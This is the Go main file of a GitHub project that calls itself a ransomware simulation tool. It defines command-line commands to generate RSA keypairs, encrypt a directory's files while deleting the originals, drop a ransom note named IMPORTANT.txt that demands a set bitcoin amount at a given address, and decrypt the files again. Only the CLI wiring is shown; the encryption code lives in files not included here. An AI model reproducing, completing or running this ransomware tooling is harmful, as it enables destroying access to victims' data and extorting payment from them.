-
Notifications
You must be signed in to change notification settings - Fork 8
/
Copy pathmain.go
180 lines (173 loc) · 4.32 KB
/
main.go
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
package main
import (
"log"
"os"
"time"
"github.com/common-nighthawk/go-figure"
"github.com/marmos91/ransomware/cli"
"github.com/marmos91/ransomware/utils"
urfavecli "github.com/urfave/cli/v2"
)
const APP_NAME = "ransomware"
const APP_DESCRIPTION = "A simple demonstration tool to simulate a ransomware attack"
const APP_VERSION = "v1.0.0"
func Init() func(*urfavecli.Context) error {
return func(ctx *urfavecli.Context) error {
if !ctx.Bool("verbose") {
utils.DisableLogs()
} else {
figure.NewFigure(APP_NAME, "graffiti", true).Print()
}
return nil
}
}
func main() {
app := &urfavecli.App{
Name: APP_NAME,
Usage: APP_DESCRIPTION,
Version: APP_VERSION,
Compiled: time.Now(),
Authors: []*urfavecli.Author{
{
Name: "Marco Moschettini",
Email: "[email protected]",
},
},
Flags: []urfavecli.Flag{
&urfavecli.BoolFlag{
Name: "verbose",
Usage: "Runs the tool in silent mode (no logs)",
Value: false,
},
},
Commands: []*urfavecli.Command{
{
Name: "create-keys",
Aliases: []string{"c"},
Usage: "Generates a new random keypair and saves it to a file",
Before: Init(),
Flags: []urfavecli.Flag{
&urfavecli.StringFlag{
Name: "path",
Aliases: []string{"p"},
Usage: "The path where to save the keys",
Value: ".",
},
},
Action: cli.CreateKeys,
},
{
Name: "encrypt",
Usage: "Encrypts a directory",
Aliases: []string{"e"},
Before: Init(),
Flags: []urfavecli.Flag{
&urfavecli.StringFlag{
Name: "path",
Aliases: []string{"p"},
Usage: "Runs the tool on a directory",
Required: true,
},
&urfavecli.StringFlag{
Name: "publicKey",
Usage: "Loads the provided RSA public key in PEM format",
Required: true,
},
&urfavecli.StringFlag{
Name: "extBlacklist",
Usage: "the extension to blacklist",
Value: ".enc",
},
&urfavecli.StringFlag{
Name: "extWhitelist",
Usage: "the extension to whitelist",
Value: "",
},
&urfavecli.BoolFlag{
Name: "skipHidden",
Usage: "skips hidden folders",
Value: false,
},
&urfavecli.BoolFlag{
Name: "dryRun",
Usage: "encrypts files without deleting originals",
Value: false,
},
&urfavecli.StringFlag{
Name: "encSuffix",
Usage: "defines the suffix to add to encrypted files",
Value: ".enc",
},
&urfavecli.BoolFlag{
Name: "addRansom",
Usage: "if set to true add a ransom note to every encrypted folder",
Value: false,
},
&urfavecli.StringFlag{
Name: "ransomTemplatePath",
Usage: "defines where to find the template to use for the ransom note",
},
&urfavecli.StringFlag{
Name: "ransomFileName",
Usage: "defines the name of the ransom file name",
Value: "IMPORTANT.txt",
},
&urfavecli.Float64Flag{
Name: "bitcoinCount",
Usage: "how many bitcoins to ask as ransom",
Value: 0,
},
&urfavecli.StringFlag{
Name: "bitcoinAddress",
Usage: "the bitcoin address to use",
Value: "<bitcoin address>",
},
},
Action: cli.Encrypt,
},
{
Name: "decrypt",
Usage: "Decrypts a directory",
Aliases: []string{"d"},
Before: Init(),
Flags: []urfavecli.Flag{
&urfavecli.StringFlag{
Name: "path",
Aliases: []string{"c"},
Usage: "Runs the tool on a directory",
Required: true,
},
&urfavecli.StringFlag{
Name: "privateKey",
Usage: "Loads the provided RSA private key in PEM format",
Required: true,
},
&urfavecli.BoolFlag{
Name: "dryRun",
Usage: "decrypts files without deleting encrypted versions",
Value: false,
},
&urfavecli.BoolFlag{
Name: "skipHidden",
Usage: "skips hidden folders",
Value: false,
},
&urfavecli.StringFlag{
Name: "encSuffix",
Usage: "defines the suffix to add to encrypted files",
Value: ".enc",
},
&urfavecli.StringFlag{
Name: "ransomFileName",
Usage: "defines the name of the ransom file name",
Value: "IMPORTANT.txt",
},
},
Action: cli.Decrypt,
},
},
}
if err := app.Run(os.Args); err != nil {
log.Fatal(err)
}
}